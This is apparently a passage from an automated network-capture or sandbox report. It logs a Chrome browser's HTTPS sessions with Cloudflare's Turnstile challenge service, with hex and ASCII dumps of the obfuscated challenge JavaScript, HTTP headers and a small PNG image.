2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 48 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 48 65 7c 7c 28 48 65 3d 7b 7d 29 29 3b 76 61 72 20 4f 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var He;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(He\|\|(He={}));var Oe;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 53 74 61 6c 65 45 78 65 63 75 74 65 3d 22 73 74 61 6c 65 5f 65 78 65 63 75 74 65 22 2c 65 2e 41 75 74 6f 45 78 70 69 72 65 3d 22 61 75 74 6f 5f 65 78 70 69 72 65 22 2c 65 2e 41 75 74 6f 54 69 6d 65 6f 75 74 3d 22 61 75 74 6f 5f 74 69 6d 65 6f 75 74 22 2c 65 2e 4d 61 6e 75 61 6c 52 65 66 72 65 73 68 3d 22 6d 61 6e 75 61 6c 5f 72 65 66 72 65 73 68 22 2c 65 2e 41 70 69 3d 22 61 70 69 22 2c 65 2e 43 68 65 63 6b 44 65 6c 61 79 73 3d 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 2c 65 2e 54 69 6d 65 43 68 65 63 6b 43 61 63 68 65 64 57 61 72 6e 69 6e 67 41 75 78 3d 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 5f 61 75 78 22 2c 65 2e 4a 73 43 6f 6f 6b 69 65 73 4d 69 73 73 69 6e 67 41 75 78 3d 22 6a 73 5f 63 6f 6f 6b 69 65 73 5f 6d 69 Data Ascii: StaleExecute="stale_execute",e.AutoExpire="auto_expire",e.AutoTimeout="auto_timeout",e.ManualRefresh="manual_refresh",e.Api="api",e.CheckDelays="check_delays",e.TimeCheckCachedWarningAux="time_check_cached_warning_aux",e.JsCookiesMissingAux="js_cookies_mi
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 7b 76 61 72 20 74 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 74 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 74 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f Data Ascii: {var t=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&t.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&t.set("clearance_
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 3d 4f 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 4f 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 67 3d 4d 28 4c 72 2c 28 6c 3d 28 74 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 74 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 73 3d 4d 28 4d 72 2c 28 68 3d 28 61 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 61 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c Data Ascii: =Oe.FAILURE_FEEDBACK\|\|e.state===Oe.FAILURE_HAVING_TROUBLES,l,g=M(Lr,(l=(t=e.displayLanguage)===null\|\|t===void 0?void 0:t.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),h,s=M(Mr,(h=(a=e.displayLanguage)===null\|\|a===void 0?void 0:a.toLowerCase())!==null
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 2c 61 29 7b 72 65 74 75 72 6e 20 7a 65 28 29 3f 43 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 43 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 6c 29 3b 76 61 72 20 73 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 73 3b 72 65 74 75 72 6e 20 67 26 26 74 65 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 43 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 6c 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 66 75 6e 63 Data Ascii: ,a){return ze()?Ce=Reflect.construct:Ce=function(c,l,g){var h=[null];h.push.apply(h,l);var s=Function.bind.apply(c,h),p=new s;return g&&te(p,g.prototype),p},Ce.apply(null,arguments)}function le(e){return le=Object.setPrototypeOf?Object.getPrototypeOf:func
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 58 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 6a 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 6a 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 24 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 6a 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 49 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b Data Ascii: }function x(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function Xe(e){return e.startsWith(je)?e.substring(je.length):null}function $(e){return"".concat(je).concat(e)}function It(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,t=document.currentScript;
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 74 65 72 22 2c 73 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 73 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 73 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b 76 61 72 20 5f 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 Data Ascii: ter",s.style.overflowX="hidden",s.style.overflowY="auto",s.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";var _=document.creat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49751	104.18.95.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:48 UTC	731	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=905d2bd4e92c7280&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/en8le/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:48 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 05:33:48 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 114100 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 905d2bd97d31439d-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 05:33:48 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 4b 4d 72 57 68 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.KMrWh3={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconce
2025-01-22 05:33:48 UTC	1369	IN	Data Raw: 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 64 6f 6d 61 69 6e 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 6d 75 73 74 25 32 30 62 65 25 32 30 65 6d 62 65 64 64 65 64 25 32 30 69 6e 74 6f 25 32 30 61 25 32 30 70 61 72 65 6e 74 25 32 30 70 61 67 65 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 65 65 Data Ascii: ":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%20page.","turnstile_refresh":"Refresh","feedback_report_output_subtitle":"Your%20fee
2025-01-22 05:33:48 UTC	1369	IN	Data Raw: 2c 67 62 2c 67 63 2c 67 64 2c 67 6e 2c 67 79 2c 67 43 2c 67 44 2c 67 48 2c 65 59 2c 65 5a 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 34 31 37 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 37 39 33 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 34 30 31 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 67 49 28 34 30 38 29 29 2f 34 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 33 39 31 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 31 31 29 29 2f 36 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 31 37 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 Data Ascii: ,gb,gc,gd,gn,gy,gC,gD,gH,eY,eZ){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(417))/1(parseInt(gI(793))/2)+parseInt(gI(401))/3+parseInt(gI(408))/4(parseInt(gI(391))/5)+-parseInt(gI(811))/6*(-parseInt(gI(1517))/7)+parseInt(gI(13
2025-01-22 05:33:48 UTC	1369	IN	Data Raw: 36 38 31 29 5d 28 6e 65 77 20 67 5b 28 68 45 28 31 35 33 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 68 47 2c 48 29 7b 66 6f 72 28 68 47 3d 68 45 2c 47 5b 68 47 28 31 34 30 35 29 5d 28 29 2c 48 3d 30 3b 48 3c 47 5b 68 47 28 31 33 32 38 29 5d 3b 6f 5b 68 47 28 37 33 39 29 5d 28 47 5b 48 5d 2c 47 5b 48 2b 31 5d 29 3f 47 5b 68 47 28 32 30 31 29 5d 28 48 2b 31 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 68 45 28 31 33 33 33 29 5d 5b 68 45 28 38 30 34 29 5d 28 42 29 2c 43 3d 30 3b 43 3c 78 5b 68 45 28 31 33 32 38 29 5d 3b 44 3d 78 5b 43 5d 2c 45 3d 6f 5b 68 45 28 38 34 33 29 5d 28 66 75 2c 67 2c 68 2c 44 29 2c 6f 5b 68 45 28 37 31 30 29 5d 28 Data Ascii: 681)](new g[(hE(153))](x)):function(G,hG,H){for(hG=hE,G[hG(1405)](),H=0;H<G[hG(1328)];o[hG(739)](G[H],G[H+1])?G[hG(201)](H+1,1):H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[hE(1333)][hE(804)](B),C=0;C<x[hE(1328)];D=x[C],E=o[hE(843)](fu,g,h,D),o[hE(710)](
2025-01-22 05:33:48 UTC	1369	IN	Data Raw: 75 74 27 3a 65 4d 5b 68 4a 28 31 31 39 36 29 5d 5b 68 4a 28 31 35 33 31 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 68 4a 28 31 31 39 36 29 5d 5b 68 4a 28 31 39 30 29 5d 2c 27 63 6f 64 65 27 3a 65 5b 68 4a 28 31 32 37 35 29 5d 2c 27 72 63 56 27 3a 65 4d 5b 68 4a 28 31 31 39 36 29 5d 5b 68 4a 28 38 32 31 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 4a 28 32 35 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 68 4b 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 6b 3d 28 68 4b 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 68 4b 28 36 36 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 5e 48 7d 2c 6a 5b 68 4b 28 31 30 32 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 Data Ascii: ut':eM[hJ(1196)][hJ(1531)],'cfChlOutS':eM[hJ(1196)][hJ(190)],'code':e[hJ(1275)],'rcV':eM[hJ(1196)][hJ(821)]},'*'))},g)},eM[gJ(254)]=function(g,h,i,hK,j,k,l,m,n,o,s,x,B,C,D,E,F){k=(hK=gJ,j={},j[hK(663)]=function(G,H){return G^H},j[hK(1025)]=function(G,H){r
2025-01-22 05:33:48 UTC	1369	IN	Data Raw: 4b 28 35 37 33 29 5d 3d 65 4d 5b 68 4b 28 31 31 39 36 29 5d 5b 68 4b 28 35 37 33 29 5d 2c 73 5b 68 4b 28 36 34 37 29 5d 3d 65 4d 5b 68 4b 28 31 31 39 36 29 5d 5b 68 4b 28 36 34 37 29 5d 2c 73 5b 68 4b 28 31 34 34 39 29 5d 3d 65 4d 5b 68 4b 28 31 31 39 36 29 5d 5b 68 4b 28 31 34 34 39 29 5d 2c 73 5b 68 4b 28 35 37 35 29 5d 3d 65 4d 5b 68 4b 28 31 31 39 36 29 5d 5b 68 4b 28 34 35 36 29 5d 2c 78 3d 73 2c 42 3d 6e 65 77 20 65 4d 5b 28 68 4b 28 35 39 30 29 29 5d 28 29 2c 21 42 29 72 65 74 75 72 6e 3b 43 3d 6b 5b 68 4b 28 31 33 35 37 29 5d 2c 42 5b 68 4b 28 31 33 37 34 29 5d 28 43 2c 6f 2c 21 21 5b 5d 29 2c 42 5b 68 4b 28 36 36 37 29 5d 3d 35 65 33 2c 42 5b 68 4b 28 37 32 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 42 5b 68 4b 28 31 32 33 34 29 5d 28 6b Data Ascii: K(573)]=eM[hK(1196)][hK(573)],s[hK(647)]=eM[hK(1196)][hK(647)],s[hK(1449)]=eM[hK(1196)][hK(1449)],s[hK(575)]=eM[hK(1196)][hK(456)],x=s,B=new eM[(hK(590))](),!B)return;C=k[hK(1357)],B[hK(1374)](C,o,!![]),B[hK(667)]=5e3,B[hK(726)]=function(){},B[hK(1234)](k
2025-01-22 05:33:48 UTC	1369	IN	Data Raw: 29 3f 6a 5b 76 5b 68 4f 28 38 37 31 29 5d 5d 26 26 28 42 3d 7b 7d 2c 42 5b 68 4f 28 31 32 34 39 29 5d 3d 76 5b 68 4f 28 31 30 34 30 29 5d 2c 42 5b 68 4f 28 31 32 36 39 29 5d 3d 78 5b 68 4f 28 31 31 39 36 29 5d 5b 68 4f 28 38 34 39 29 5d 2c 42 5b 68 4f 28 38 38 36 29 5d 3d 68 4f 28 38 35 36 29 2c 42 5b 68 4f 28 34 31 36 29 5d 3d 42 5b 68 4f 28 31 31 39 36 29 5d 5b 68 4f 28 31 30 36 34 29 5d 2c 42 5b 68 4f 28 31 32 37 38 29 5d 3d 43 5b 68 4f 28 31 31 39 36 29 5d 5b 68 4f 28 38 32 31 29 5d 2c 76 5b 68 4f 28 32 33 34 29 5d 5b 68 4f 28 39 30 32 29 5d 28 42 2c 27 2a 27 29 2c 43 3d 7b 7d 2c 43 5b 68 4f 28 31 32 34 39 29 5d 3d 68 4f 28 38 30 39 29 2c 43 5b 68 4f 28 31 32 36 39 29 5d 3d 45 5b 68 4f 28 31 31 39 36 29 5d 5b 68 4f 28 38 34 39 29 5d 2c 43 5b 68 4f 28 Data Ascii: )?j[v[hO(871)]]&&(B={},B[hO(1249)]=v[hO(1040)],B[hO(1269)]=x[hO(1196)][hO(849)],B[hO(886)]=hO(856),B[hO(416)]=B[hO(1196)][hO(1064)],B[hO(1278)]=C[hO(1196)][hO(821)],v[hO(234)][hO(902)](B,'*'),C={},C[hO(1249)]=hO(809),C[hO(1269)]=E[hO(1196)][hO(849)],C[hO(
2025-01-22 05:33:48 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 66 28 67 2c 68 29 7d 2c 27 50 57 51 71 76 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3e 67 7d 2c 27 77 79 41 51 69 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 67 5e 66 7d 2c 27 44 74 6d 71 63 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 2d 67 7d 2c 27 6b 4a 6b 72 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 29 7b 72 65 74 75 72 6e 20 66 28 67 2c 68 29 7d 2c 27 69 55 7a 51 50 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 29 7b 72 65 74 75 72 6e 20 66 28 67 2c 68 29 7d 2c 27 43 73 5a 47 53 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 67 5e 66 7d 2c 27 65 7a 4d 44 45 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 29 7b 72 Data Ascii: {return f(g,h)},'PWQqv':function(f,g){return f>g},'wyAQi':function(f,g){return g^f},'Dtmqc':function(f,g){return f-g},'kJkrK':function(f,g,h){return f(g,h)},'iUzQP':function(f,g,h){return f(g,h)},'CsZGS':function(f,g){return g^f},'ezMDE':function(f,g,h){r
2025-01-22 05:33:48 UTC	1369	IN	Data Raw: 6a 28 32 39 31 29 5d 28 62 77 2c 63 5b 6a 6a 28 32 36 30 29 5d 28 62 78 2c 63 5b 6a 6a 28 31 30 31 33 29 5d 28 62 79 2c 62 7a 28 78 2c 6c 29 2c 63 5b 6a 6a 28 38 35 32 29 5d 28 42 26 43 2c 76 26 7e 43 29 29 2c 46 5b 4a 5d 29 2c 48 5b 4a 5d 29 2c 78 3d 62 41 2c 78 3d 63 5b 6a 6a 28 38 35 32 29 5d 28 62 42 28 78 2c 32 29 2c 63 5b 6a 6a 28 32 39 31 29 5d 28 62 43 2c 78 2c 31 33 29 29 5e 62 44 28 78 2c 32 32 29 2c 6d 3d 63 5b 6a 6a 28 36 36 30 29 5d 28 62 45 2c 78 2c 63 5b 6a 6a 28 31 32 38 32 29 5d 28 44 26 62 46 2c 6b 26 62 47 29 5e 6b 26 44 29 2c 78 3d 76 2c 76 3d 42 2c 42 3d 43 2c 43 3d 63 5b 6a 6a 28 38 36 34 29 5d 28 62 48 2c 45 2c 6c 29 2c 45 3d 6b 2c 6b 3d 44 2c 44 3d 62 49 2c 62 4b 28 6c 2c 6d 29 29 7d 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 Data Ascii: j(291)](bw,c[jj(260)](bx,c[jj(1013)](by,bz(x,l),c[jj(852)](B&C,v&~C)),F[J]),H[J]),x=bA,x=c[jj(852)](bB(x,2),c[jj(291)](bC,x,13))^bD(x,22),m=c[jj(660)](bE,x,c[jj(1282)](D&bF,k&bG)^k&D),x=v,v=B,B=C,C=c[jj(864)](bH,E,l),E=k,k=D,D=bI,bK(l,m))}continue;case'4'
2025-01-22 05:33:48 UTC	1369	IN	Data Raw: 34 32 38 34 33 36 34 37 34 2c 32 37 35 36 37 33 34 31 38 37 2c 33 32 30 34 30 33 31 34 37 39 2c 33 33 32 39 33 32 35 32 39 38 5d 2c 47 3d 5b 31 37 37 39 30 33 33 37 30 33 2c 33 31 34 34 31 33 34 32 37 37 2c 31 30 31 33 39 30 34 32 34 32 2c 32 37 37 33 34 38 30 37 36 32 2c 31 33 35 39 38 39 33 31 31 39 2c 32 36 30 30 38 32 32 39 32 34 2c 35 32 38 37 33 34 36 33 35 2c 31 35 34 31 34 35 39 32 32 35 5d 2c 61 33 28 36 34 29 29 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 7d 65 6c 73 65 20 66 55 28 29 7d 65 6c 73 65 20 69 66 28 63 5b 6a 6a 28 33 32 33 29 5d 28 6a 6a 28 36 32 30 29 2c 63 5b 6a 6a 28 35 39 36 29 5d 29 29 63 5b 6a 6a 28 35 31 34 29 5d 28 66 56 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 7d 2c 31 65 33 29 29 2c 67 43 3d 7b 7d 2c 67 43 5b 67 4a 28 31 Data Ascii: 428436474,2756734187,3204031479,3329325298],G=[1779033703,3144134277,1013904242,2773480762,1359893119,2600822924,528734635,1541459225],a3(64));continue}break}}else fU()}else if(c[jj(323)](jj(620),c[jj(596)]))c[jj(514)](fV);else return},1e3)),gC={},gC[gJ(1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49752	104.18.95.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:48 UTC	743	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/en8le/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:48 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 05:33:48 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 905d2bd9aef78ca1-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 05:33:48 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
